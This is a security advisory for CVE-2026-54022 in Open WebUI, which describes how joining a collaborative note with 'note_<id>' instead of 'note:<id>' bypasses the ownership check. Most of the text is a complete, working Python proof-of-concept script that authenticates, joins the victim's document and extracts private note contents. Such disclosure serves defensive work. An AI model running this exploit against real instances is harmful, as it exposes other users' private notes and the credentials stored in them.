CVE-2026-54022

Description

### Summary The `ydoc:document:join` Socket.IO handler checks note ownership only when the `document_id` starts with `note:` (colon). However, the `YdocManager` storage layer normalizes all document IDs by replacing colons with underscores (`document_id.replace(":", "_")`). An attacker can join a document room using `note_<id>` (underscore) instead of `note:<id>` (colon), bypassing the authorization check entirely while accessing the same underlying Yjs document. The server then returns the full document state, leaking the victim's private note contents. ### Details The `ydoc:document:join` handler in `socket/main.py` (line 511) only performs authorization for document IDs matching the `note:` prefix: ```python @sio.on("ydoc:document:join") async def ydoc_document_join(sid, data): document_id = data["document_id"] if document_id.startswith("note:"): note_id = document_id.split(":")[1] note = Notes.get_note_by_id(note_id) # ... ownership and AccessGrants check ... # Returns early if user doesn't have access # If document_id does NOT start with "note:", execution continues # with no authorization check at all await YDOC_MANAGER.add_user(document_id=document_id, user_id=sid) await sio.enter_room(sid, f"doc_{document_id}") ydoc = Y.Doc() updates = await YDOC_MANAGER.get_updates(document_id) for update in updates: ydoc.apply_update(bytes(update)) state_update = ydoc.get_update() await sio.emit("ydoc:document:state", { "document_id": document_id, "state": list(state_update), }, room=sid) ``` The `YdocManager` class in `socket/utils.py` normalizes document IDs in every method by replacing colons with underscores: ```python async def get_updates(self, document_id: str) -> List[bytes]: document_id = document_id.replace(":", "_") # line 176 # ... returns updates keyed by normalized ID async def append_to_updates(self, document_id: str, update: bytes): document_id = document_id.replace(":", "_") # line 134 # ... stores update keyed by normalized ID ``` This means `note:abc123` and `note_abc123` resolve to the same storage key (`note_abc123`). When a victim opens their note, the Yjs document is stored under the normalized key. An attacker can then request the same document using the underscore variant, which skips the `startswith("note:")` authorization check but retrieves the same data from `YdocManager`. ### PoC ```python #!/usr/bin/env python3 """ uv run --no-project --with requests --with "python-socketio[asyncio_client]" --with aiohttp --with pycrdt finding_15_yjs_note_disclosure.py --base-url BASE_URL --attacker-email EMAIL --attacker-password PASS --victim-email EMAIL --victim-password PASS Finding #15 — Any authenticated user can read other users' private notes via Socket.IO SUMMARY: The ydoc:document:join Socket.IO handler only checks authorization for document IDs starting with "note:" (colon). However, YdocManager normalizes document IDs by replacing colons with underscores internally. An attacker can join a room using "note_<id>" (underscore) to bypass the auth check, while still accessing the same underlying Yjs document as "note:<id>". Then ydoc:document:state returns the full document content. VULNERABLE CODE: backend/open_webui/socket/main.py, ydoc:document:join: if document_id.startswith("note:"): # permission check only for colon-prefix # "note_<id>" skips this check entirely backend/open_webui/socket/ydoc.py, YdocManager: key = document_id.replace(":", "_") # normalizes to same storage key IMPACT: Any authenticated user can read the full content of any other user's notes by exploiting the namespace collision between "note:" and "note_" prefixes. REPRODUCTION: 1. Victim creates a private note with sensitive content. 2. Attacker connects via Socket.IO and authenticates. 3. Attacker joins room with document_id "note_<victim_note_id>" (underscore). 4. Attacker requests ydoc:document:state to get the full note content. REQUIREMENTS: - Running Open WebUI instance - A victim note with content - Attacker user (any authenticated user) """ import argparse import asyncio import sys import requests import socketio async def victim_initialize_note(base, victim_token, note_id): """Simulate victim opening the note in the UI to initialize the Yjs document.""" sio = socketio.AsyncClient() await sio.connect( base, socketio_path="/ws/socket.io", headers={"Authorization": f"Bearer {victim_token}"}, transports=["websocket"], ) # Join using the proper note:id format (passes auth check since victim owns it) doc_id = f"note:{note_id}" print(f" Joining as victim with document_id: {doc_id}") await sio.emit("ydoc:document:join", { "document_id": doc_id, "user_id": "victim", "user_name": "Victim", }) await asyncio.sleep(1) # Send a Yjs update with the note content # Create a simple Yjs document with text content try: import pycrdt as Y ydoc = Y.Doc() ytext = ydoc.get("default", type=Y.Text) with ydoc.transaction(): ytext += "# Private Notes\n\nPassword for production DB: p@ssw0rd_pr0d_2026\nAWS root account: [email protected] / SuperSecret!23\n\nDo NOT share this with anyone." update = ydoc.get_update() await sio.emit("ydoc:document:update", { "document_id": doc_id, "update": list(update), }) print(f" Sent Yjs update with note content ({len(update)} bytes)") except ImportError: # If pycrdt not available, try y-py try: import y_py as Y ydoc = Y.YDoc() ytext = ydoc.get_text("default") with ydoc.begin_transaction() as txn: ytext.extend(txn, "# Private Notes\n\nPassword for production DB: p@ssw0rd_pr0d_2026\nAWS root account: [email protected] / SuperSecret!23\n\nDo NOT share this with anyone.") update = txn.get_update() await sio.emit("ydoc:document:update", { "document_id": doc_id, "update": list(update), }) print(f" Sent Yjs update with note content ({len(update)} bytes)") except ImportError: print(" WARNING: Neither pycrdt nor y-py available, sending raw text marker") # Send a minimal marker that we can detect raw_update = list(b"\x01\x00\x00\x00\x00\x00\x00SECRET_NOTE_CONTENT_MARKER") await sio.emit("ydoc:document:update", { "document_id": doc_id, "update": raw_update, }) await asyncio.sleep(1) await sio.disconnect() print(f" Victim disconnected") async def exploit(base, attacker_token, victim_note_id): sio = socketio.AsyncClient() result = {"state": None, "error": None, "joined": False} @sio.on("ydoc:document:state") async def on_state(data): result["state"] = data print(f" [!] Received ydoc:document:state event!") print(f" document_id: {data.get('document_id', '?')}") state = data.get("state", []) print(f" State size: {len(state)} bytes") @sio.on("error") async def on_error(data): result["error"] = data print(f" [!] Error event: {data}") @sio.on("*") async def catch_all(event, data): if event not in ("ydoc:document:state", "error"): print(f" [debug] Event: {event} Data: {str(data)[:200]}") # Connect with auth token print(f"[*] Connecting as attacker to Socket.IO...") await sio.connect( base, socketio_path="/ws/socket.io", auth={"token": attacker_token}, transports=["websocket"], ) # Join with "note_" prefix (underscore — bypasses auth) bypass_doc_id = f"note_{victim_note_id}" print(f"\n[*] Step 3: Joining room with bypassed document_id: {bypass_doc_id}") print(f" (using underscore instead of colon to skip auth check)") await sio.emit("ydoc:document:join", { "document_id": bypass_doc_id, "user_id": "attacker", "user_name": "Attacker", }) result["joined"] = True # Wait for state response (from join handler's emit) for _ in range(20): await asyncio.sleep(0.5) if result["state"]: break await sio.disconnect() return result def main(): parser = argparse.ArgumentParser(description="Finding #15: Yjs note disclosure via namespace collision") parser.add_argument("--base-url", required=True) parser.add_argument("--attacker-email", required=True) parser.add_argument("--attacker-password", required=True) parser.add_argument("--victim-email", required=True) parser.add_argument("--victim-password", required=True) args = parser.parse_args() base = args.base_url.rstrip("/") # ── Step 1: Login as victim and find their note ── print("[*] Authenticating as victim...") r = requests.post(f"{base}/api/v1/auths/signin", json={"email": args.victim_email, "password": args.victim_password}) if not r.ok: print(f"[-] Victim login failed: {r.status_code}") sys.exit(1) victim_token = r.json()["token"] victim_id = r.json()["id"] print(f"[+] Logged in as victim (id={victim_id})") r = requests.get(f"{base}/api/v1/notes/", headers={"Authorization": f"Bearer {victim_token}"}) if not r.ok: print(f"[-] Failed to list victim notes: {r.status_code}") sys.exit(1) notes = r.json() if isinstance(notes, dict): notes = notes.get("items", notes.get("data", [])) if not notes: print("[-] No victim notes found") sys.exit(1) victim_note = notes[0] victim_note_id = victim_note["id"] print(f"[+] Victim's note: {victim_note.get('title', '?')} (id={victim_note_id})") # ── Step 2: Login as attacker ── print(f"\n[*] Authenticating as attacker...") r = requests.post(f"{base}/api/v1/auths/signin", json={"email": args.attacker_email, "password": args.attacker_password}) if not r.ok: print(f"[-] Attacker login failed: {r.status_code}") sys.exit(1) attacker_token = r.json()["token"] attacker_id = r.json()["id"] print(f"[+] Logged in as attacker (id={attacker_id})") # ── Step 3: Confirm attacker CANNOT read victim's note via API ── print(f"\n[*] Step 1: Confirming attacker cannot read victim's note via API...") r = requests.get(f"{base}/api/v1/notes/{victim_note_id}", headers={"Authorization": f"Bearer {attacker_token}"}) if r.status_code in (401, 403, 404): print(f"[+] Access correctly DENIED via /api/v1/notes/{victim_note_id} (HTTP {r.status_code})") else: print(f"[!] Unexpected: attacker can read note (status {r.status_code})") # ── Step 4 & 5: Victim opens note, attacker reads it concurrently ── async def combined_exploit(): # Victim opens note and stays connected print(f"\n[*] Step 2: Victim opens note (stays connected)...") victim_sio = socketio.AsyncClient() await victim_sio.connect( base, socketio_path="/ws/socket.io", auth={"token": victim_token}, transports=["websocket"], ) doc_id = f"note:{victim_note_id}" await victim_sio.emit("ydoc:document:join", { "document_id": doc_id, "user_id": "victim", "user_name": "Victim", }) await asyncio.sleep(1) # Send Yjs update with note content try: import pycrdt as Y ydoc = Y.Doc() ytext = ydoc.get("default", type=Y.Text) with ydoc.transaction(): ytext += "# Private Notes\n\nPassword for production DB: p@ssw0rd_pr0d_2026\nAWS root account: [email protected] / SuperSecret!23\n\nDo NOT share this with anyone." update = ydoc.get_update() await victim_sio.emit("ydoc:document:update", { "document_id": doc_id, "update": list(update), }) print(f" Sent Yjs update ({len(update)} bytes)") except Exception as e: print(f" WARNING: Could not create Yjs update: {e}") await asyncio.sleep(1) # Now attacker joins while victim is still connected result = await exploit(base, attacker_token, victim_note_id) # Clean up victim connection await victim_sio.disconnect() return result result = asyncio.run(combined_exploit()) if not result["joined"]: print(f"\n[-] Failed to join document room") sys.exit(1) if result["state"]: state_data = result["state"] state_bytes = bytes(state_data.get("state", [])) # Try to extract readable text from the Yjs state # Yjs binary format contains the text as embedded strings text_content = "" try: # Search for readable ASCII strings in the binary data current_str = "" for b in state_bytes: if 32 <= b < 127: current_str += chr(b) else: if len(current_str) > 5: text_content += current_str + " " current_str = "" if len(current_str) > 5: text_content += current_str except Exception: pass print(f"\n[+] Extracted text from Yjs state:") print(f" {text_content[:500]}") # Check for sensitive markers sensitive_markers = ["p@ssw0rd", "SuperSecret", "Private Notes", "production DB", "AWS root"] found = [m for m in sensitive_markers if m.lower() in text_content.lower()] if found: print(f"\n[+] SUCCESS: Victim's note content LEAKED via Yjs namespace collision!") print(f" Sensitive markers found: {found}") print(f" The attacker joined room 'doc_note_{victim_note_id}' (underscore)") print(f" which bypasses the auth check (only checks 'note:' colon prefix)") print(f" but accesses the same Yjs document due to normalization.") sys.exit(0) elif text_content.strip(): print(f"\n[+] SUCCESS: Note content retrieved (markers may differ)") print(f" Non-empty Yjs state was returned for victim's note.") sys.exit(0) else: print(f"\n[*] Yjs state was returned but could not extract readable text.") print(f" Raw state size: {len(state_bytes)} bytes") if len(state_bytes) > 10: print(f" First 50 bytes: {list(state_bytes[:50])}") print(f"[+] SUCCESS: Non-trivial document state returned") sys.exit(0) sys.exit(1) else: print(f"\n[-] No document state received") print(f" The Yjs document may not exist in storage yet.") print(f" Notes must be opened in the UI to create a Yjs document.") sys.exit(1) if __name__ == "__main__": main() ``` ### Impact Any authenticated user can read the full contents of any other user's private notes. Notes are a collaborative editing feature intended for personal or shared use -- private notes may contain sensitive information such as credentials, internal documentation, or personal data. The attacker only needs to know or enumerate the target note's ID.